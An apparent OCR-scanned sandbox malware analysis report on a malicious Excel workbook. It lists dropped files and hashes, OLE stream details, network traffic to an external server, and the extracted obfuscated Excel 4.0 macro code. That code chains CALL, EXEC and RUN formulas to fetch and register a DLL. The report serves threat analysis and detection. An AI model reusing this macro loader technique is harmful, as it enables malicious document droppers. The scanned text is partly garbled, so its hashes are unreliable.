Preview:

C:\Program Files (x86)\Microsoft Office\Office lL6\EXCEL.EXE

ASCII text, with CRLF line terminators

dropped

125

4.664326784625596

false
3:0yBVomMEcx14HdGUwWSLMp6I7cA14HdGUWSLMp6IMMEcx14HdGUwSLMp6lv:dj6L4HdhNrP4HdhNbL4HdhNf
43AA6DB16A8F46F4ECBA390A0C27654B

F81E4099E1ACBCB5C5C1FDEABD4EF079DBD32D32
41876EF74BEE9OE671EC9ACD42CB627C0F108FCEO2EEE7523A101F3410D1ABB1
1DBE7DAFOD2596E53585C49617EB89F46A4F135B81565FC52D51CFOF94D4C27B253A43966D6765A6412527A1DDF886C280A4C867316F53536E95D1DFICA3FDFI

false

Desktop.LNK=0..[xIs]..9659e9a8_by_Libranalysis.LNK=0..9659e9a8_by_Libranalysis.LNK=0..[xIs]..9659e9a8_by_Libranalysis.LNK=0..

C:\Users\luser\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files (x86)\Microsoft Office\Office IL6\EXCEL.EXE

Little-endian UTF-16 Unicode text, with CR line terminators

dropped

22

2.9808259362290785

false

3:QAIX0GN:QKn

7962B839183642D3CDC2FICEBDBF85CE
2BEBF6F309962ED367866F6E70668508BC814C2D
5EB8655BA3D3E7252CA81C2B9076A791CD912872D9F0447F23F4CAACAAB514F6

2C332AC29FD3FAB66DBD918D60FIBE78B589B090282ED3DBEA02C4426F6627E4AAFCA4C13FBCAO9ECA4925EAC3ED4F8662FDF1D7FASCO9BE714F8A7B993BECB!
342

false

...prates.h...

C:\Users\user\Desktopl02C40000

Process:

File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:

C:\Program Files (x86)\Microsoft Office\Office IL6\EXCEL.EXE
Applesoft BASIC program data, first line number 16

dropped

228873

5.616544637493411

false
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C:\Users\user\Desktopl02C40000

SSDEEP:
MD5:
SHA1L:
SHA-256:
SHA-512:
Malicious:

Preview:

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:
Antivirus:

Preview:

3072:a7NiRdSD8YNoTU90uJfzn3b20X7vrPIsrXvLIL7LF7Niux:bRdTrTU9Z0qux

09AEDE7585D5AD0099BEB6C37CD691D3

EAAB1B9AAALE3704BBOCDC619BBD70F5DF20A0CB

D989BDABA142C45F0AE3CD17B74C1E3AC5476D5FF00E9687414FFA08A105D744
0C2A3363F0FCICB81144ACAF80906FA617D5DEF59E794286E24828F05032429F4BACB2C4BB635179331F4F8B2024B04AC69CD2CDA3ECT725445FE6466171C9AL

false

B....@ e e =....0..91.8....X.@.
......E..Calib.ril.
.E..C.amburia.l.

.............. Ariall..........Ariall.......

C:\Windows\SysWOW64\explorer.exe

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

dropped

395500

0.00837191942417358

false
6:idqwHVg3F+X32RuZm6wY/FImml/eVS3XIMgFKR+vlfq:eH1GSGUZmBYNcSWcnugFKR8I
B3D98EABC7EAB34E9E3EF6D7A9D24385
B9711AA2FEOE5B7136BDF56C120A8D490569BEOD
B7C7FFE3ACD3A9FDBC2DF68B3B999E33D29A43B0235FBD68DBEBEBI70008E872

5F6940C42F8D621D813A9C4D42A45DCB81AC1AL13EBOSB85DB80B0OC47ACE9727C44F8B9138A8D3C68308F2EC8571D829FFBC800DD4B3EF1686CECEDC85C72
EE

true

e Antivirus: Joe Sandbox ML, Detection: 100%

MZ.. ..@.. L.IThis program cannot be run in DOS mode....$

............ LR

.r.ol.ol.ol.|l.ol. }!..0lRich..o!

Static File Info

General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MDS5:
SHAL:
SHA256:

SHA512:

SSDEEP:

File Content Preview:

File Icon

T

Composite Document File V2 Document, Little Endian,
Os: Windows, Version 6.2, Code page: 1251, Author:
van-van, Last Saved By: vi-vi, Name of Creating
Application: Microsoft Excel, Create Time/Date: Sat Sep
16 01:00:00 2006, Last Saved Time/Date: Wed May 12
08:24:11 2021, Security: 0

3.258986427712615

e Microsoft Excel sheet (30009/1) 78.94%
e Generic OLE2 / Multistream Compound File
(8008/1) 21.06%

9659e9a8_by_Libranalysis.xls

375808

9659e9a80fba8f055fbe4e3757b0fd88
701af32440a369d3bf1533cf3d741904b614a470

252bda62a929c697a8b96035c1a52314d88067e745799¢
b66ac5d9dd593379b0

2f94eeedOblcbc7c7el3fbb66ffca3bal93118d5457b85¢
cfbf81f4f85406d91853383b34e055329f9130327d167f1fc
5786d8d7935e6a67fa0c4e3a4fd37167

3072:Q8UGHV2tt/BI/s/C/i/R/7/3/UQ/OhP/2/a/1/I/T/tbHm
TH9G4I+s2k3zN4sbed:vUGAt6Uqa5DPAGOuS9QLp4l+
s+o08
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Icon Hash:

Static OLE Info

General
Document Type:

Number of OLE Files:

OLE File "9659e9a8 by Libranalysis.xlIs"

Indicators

Has Summary Info:

Application Name:

Encrypted Document:

Contains Word Document Stream:

Contains Workbook/Book Stream:

Contains PowerPoint Document Stream:

Contains Visio Document Stream:
Contains ObjectPool Stream:
Flash Objects Count:

Contains VBA Macros:

Summary

Code Page:

Author:

Last Saved By:
Create Time:

Last Saved Time:
Creating Application:

Security:

Document Summary
Document Code Page:
Thumbnail Scaling Desired:

Contains Dirty Links:

Streams

74ecd4c6c3c6c4d8

OLE

True
Microsoft Excel
False
False
True
False

False

True

1251

van-van

Vi-vi

2006-09-16 00:00:00
2021-05-12 07:24:11
Microsoft Excel

0

1251
False

False

Stream Path: \x5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: \x6Summaryinformation, File Type: data, Stream Size: 4096

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Copyright Joe Security LLC 2021

\x5DocumentSummarylnformation
data

4096

0.287037498961

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5
cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 b4 00 00 00 05 00 00 00 01 00 00 00
30 00 00 00 Ob 00 00 00 38 00 00 00 10 00 00 00 40 00 00 00 0d 00 00 00 48 00 00 00 Oc 00
00 00 74 00 00 00 02 00 00 00 e3 04 00 00 Ob 00 00 00 00 00 00 00 Ob 00 00 00 00 00 00 00
1e 10 00 00 04 00 00 00

\x5Summaryinformation
data

4096

0.290777742057

False
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General

Data Raw: fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 €0 85 9f
f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40
00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 Oc 00 00
00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 €3 04 00 00 1e
00 00 00 08 00 00 00

Stream Path: Book, File Type: Applesoft BASIC program data, first line number 8, Stream Size: 363283

General

Stream Path: Book

File Type: Applesoft BASIC program data, first line number 8

Stream Size: 363283

Entropy: 3.24522262131

Base64 Encoded: True

Data ASCIl: T W.p..vi-vi
B Doc3............... ... _xIfn.AGGREGATE....
................ _xIfn.F.INV.RT....!.

Data Raw: 09 08 08 00 00 05 05 00 17 37 cd 07 e1 00 00 00 c1 00 02 00 00 00 bf 00 00 00 cO 00 00 00

€2 00 00 00 5c 00 70 00 05 76 69 2d 76 69 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
2020 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
202020 20 20 20 20 20

Macro 4.0 Code

CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU13,Doc3!BC17,0,!AL21)=CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU14,Doc3!BC18&"1",0,!AL21)=RUN(Doc4!AM6)

s =RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMX
MY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(45
2354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45
245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=R
AND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=FORMULA(before.3.5.0.sheet!AZ39&BA39&before.3.5.0.sheet!BB39&before.3.5.0.sheet!BC39,before.3.5.0
.sheet!lAU13)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,4
5245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=
RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()
=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(
59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)",.......0.rssmsssmsssmssssmsssmsssssssnsssssssn “SRAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(45
2354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45
245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=R
AND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=FACT (59)=SUMXMY 2(452354,45245)=RAND()=
FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=FORMULA (befor
e.3.5.0.sheet!AZ40&BA40&before.3.5.0.sheet!BB40&before.3.5.0.sheet!BC40,before.3.5.0.sheet! AU14)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=
RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()=FACT (59)=SUMXMY2(452354,45245)=RAND()
=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(
59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SU
MXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)",.,.....1s01s1s51s0smssmsmssmsssnsmssssninns
s e snsnsasnsnsnsasssssssssssssssrssssassssssssnssssnnns “RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY
52354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,4
5245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=
RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY 2(452354,45245)=RAND()
=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=RAND()=FACT(59)=SUMXMY2(452354,45245)=FORMULA(""U""&before.3.5.0.sheet!BC25&before.3.5.0.sheet!B
C29&before.3.5.0.sheet!BF28&before.3.5.0.sheet!BC28&before.3.5.0.sheet!BC31&before.3.5.0.sheet!BF29&""'A™" before.3.5.0.she

"=CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU13,Doc3!BC17,0,!AL21)=CALL(Doc3!AU10,Doc3!AU11,Doc3!AU12,0,Doc3!AU14,Doc3!BC18&™'1™,0,/AL21)=RUN(Doc4!AM6)"

"=MDETERM(56241452475)=EXEC(Doc3!BB22&Doc3!BB23&Doc3!BB24&Doc3!BB30&"'2 "'&Doc3!BC17&Doc3!BD31& ™ IRegi"&" " 'ster"'&" Ser"'&" 'ver")=EXEC(Doc3!BB22&Doc3!BB23&Doc3!BB24&D
0c3!BB30&™'2 "'&Doc3!BC18&"'1"'&Doc3!BD31& " IRegi™& "'ster"'&" Ser"'&" 'ver"")=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDET
ERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(5
6241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(562414
52475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=MDETERM(56241452475)=RUN(Doc3!AY22)"

Network Behavior

TCP Packets

Timestamp Source Port Dest Port Source IP Dest IP

May 12, 2021 13:32:31.075166941 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:31.239478111 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:31.239664078 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:31.240961075 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:31.405143023 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:31.429488897 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:31.429522991 CEST 443 49729 192.185.39.58 192.168.2.4
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Timestamp Source Port Dest Port Source IP Dest IP

May 12, 2021 13:32:31.429538965 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:31.429629087 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:31.429697037 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:31.448086977 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:31.611423969 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:31.611601114 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:31.612904072 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:31.820620060 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:31.859360933 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:31.859380960 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:31.859396935 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:31.859414101 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:31.859431028 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:31.859447956 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:31.859462023 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:31.859482050 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:31.859502077 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:31.859519958 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:31.859587908 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:31.859625101 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.025099993 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025116920 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025130033 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025141954 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025218010 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025229931 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.025239944 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025263071 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025289059 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025311947 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025321007 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.025336027 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025357962 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025378942 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025398016 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.025429010 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.025430918 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025458097 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025486946 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025495052 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.025509119 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025532007 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025552034 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025558949 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.025578976 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025604010 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.025612116 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.025656939 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.189590931 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.189629078 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.189651966 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.189668894 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.189740896 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.189766884 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.189785004 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.189802885 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.189819098 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.189825058 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.189848900 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.189873934 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.189894915 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.189905882 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.189918995 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.189941883 CEST 443 49729 192.185.39.58 192.168.2.4
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Timestamp Source Port Dest Port Source IP Dest IP

May 12, 2021 13:32:32.189961910 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.189964056 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.189985037 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.189989090 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.190010071 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.190032005 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.190052032 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.190053940 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.190077066 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.190102100 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.190103054 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.190126896 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.190135956 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.190149069 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.190170050 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.190179110 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.190192938 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.190215111 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.190218925 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.190238953 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.190239906 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.190264940 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.190274954 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.190289974 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.190301895 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.190315008 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.190325975 CEST 49729 443 192.168.2.4 192.185.39.58
May 12, 2021 13:32:32.190339088 CEST 443 49729 192.185.39.58 192.168.2.4
May 12, 2021 13:32:32.190351963 CEST 49729 443 192.168.2.4 192.185.39.58

UDP Packets

Timestamp Source Port Dest Port Source IP Dest IP
May 12, 2021 13:32:11.700754881 CEST 64646 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:11.757498026 CEST 53 64646 8.8.8.8 192.168.2.4
May 12, 2021 13:32:12.278656960 CEST 65298 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:12.337564945 CEST 53 65298 8.8.8.8 192.168.2.4
May 12, 2021 13:32:12.353760958 CEST 59123 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:12.430588961 CEST 53 59123 8.8.8.8 192.168.2.4
May 12, 2021 13:32:12.962347031 CEST 54531 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:13.011122942 CEST 53 54531 8.8.8.8 192.168.2.4
May 12, 2021 13:32:16.957289934 CEST 49714 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:17.006031990 CEST 53 49714 8.8.8.8 192.168.2.4
May 12, 2021 13:32:17.961410999 CEST 58028 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:18.010879040 CEST 53 58028 8.8.8.8 192.168.2.4
May 12, 2021 13:32:19.583864927 CEST 53097 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:19.632714033 CEST 53 53097 8.8.8.8 192.168.2.4
May 12, 2021 13:32:19.727679014 CEST 49257 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:19.790978909 CEST 53 49257 8.8.8.8 192.168.2.4
May 12, 2021 13:32:24.190608978 CEST 62389 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:24.242945910 CEST 53 62389 8.8.8.8 192.168.2.4
May 12, 2021 13:32:25.419805050 CEST 49910 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:25.475008965 CEST 55854 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:25.496903896 CEST 53 49910 8.8.8.8 192.168.2.4
May 12, 2021 13:32:25.526416063 CEST 53 55854 8.8.8.8 192.168.2.4
May 12, 2021 13:32:25.992902994 CEST 64549 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:26.068509102 CEST 53 64549 8.8.8.8 192.168.2.4
May 12, 2021 13:32:26.986114025 CEST 64549 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:27.048033953 CEST 53 64549 8.8.8.8 192.168.2.4
May 12, 2021 13:32:28.002069950 CEST 64549 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:28.062403917 CEST 53 64549 8.8.8.8 192.168.2.4
May 12, 2021 13:32:30.039849043 CEST 64549 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:30.091464996 CEST 53 64549 8.8.8.8 192.168.2.4
May 12, 2021 13:32:31.023514032 CEST 63153 53 192.168.2.4 8.8.8.8
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Timestamp Source Port Dest Port Source IP Dest IP

May 12, 2021 13:32:31.072433949 CEST 53 63153 8.8.8.8 192.168.2.4
May 12, 2021 13:32:31.249562979 CEST 52991 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:31.299894094 CEST 53 52991 8.8.8.8 192.168.2.4
May 12, 2021 13:32:32.471741915 CEST 53700 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:32.521842957 CEST 53 53700 8.8.8.8 192.168.2.4
May 12, 2021 13:32:32.547735929 CEST 51726 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:32.610028028 CEST 53 51726 8.8.8.8 192.168.2.4
May 12, 2021 13:32:33.344405890 CEST 56794 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:33.393066883 CEST 53 56794 8.8.8.8 192.168.2.4
May 12, 2021 13:32:34.123672009 CEST 64549 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:34.201133966 CEST 53 64549 8.8.8.8 192.168.2.4
May 12, 2021 13:32:37.946820021 CEST 56534 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:37.998413086 CEST 53 56534 8.8.8.8 192.168.2.4
May 12, 2021 13:32:39.252321959 CEST 56627 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:39.300998926 CEST 53 56627 8.8.8.8 192.168.2.4
May 12, 2021 13:32:40.682939053 CEST 56621 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:40.731926918 CEST 53 56621 8.8.8.8 192.168.2.4
May 12, 2021 13:32:42.145760059 CEST 63116 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:42.199048042 CEST 53 63116 8.8.8.8 192.168.2.4
May 12, 2021 13:32:43.515748024 CEST 64078 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:43.566895962 CEST 53 64078 8.8.8.8 192.168.2.4
May 12, 2021 13:32:44.717510939 CEST 64801 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:44.767641068 CEST 53 64801 8.8.8.8 192.168.2.4
May 12, 2021 13:32:45.602051973 CEST 61721 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:45.661864996 CEST 53 61721 8.8.8.8 192.168.2.4
May 12, 2021 13:32:46.787492990 CEST 51255 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:46.844712973 CEST 53 51255 8.8.8.8 192.168.2.4
May 12, 2021 13:32:47.312530041 CEST 61522 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:47.374838114 CEST 53 61522 8.8.8.8 192.168.2.4
May 12, 2021 13:32:48.122045040 CEST 52337 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:48.174633026 CEST 53 52337 8.8.8.8 192.168.2.4
May 12, 2021 13:32:49.380045891 CEST 55046 53 192.168.2.4 8.8.8.8
May 12, 2021 13:32:49.428841114 CEST 53 55046 8.8.8.8 192.168.2.4
May 12, 2021 13:32:55.634301901 CEST 49612 53 192.168.2.4 8.8.8.8
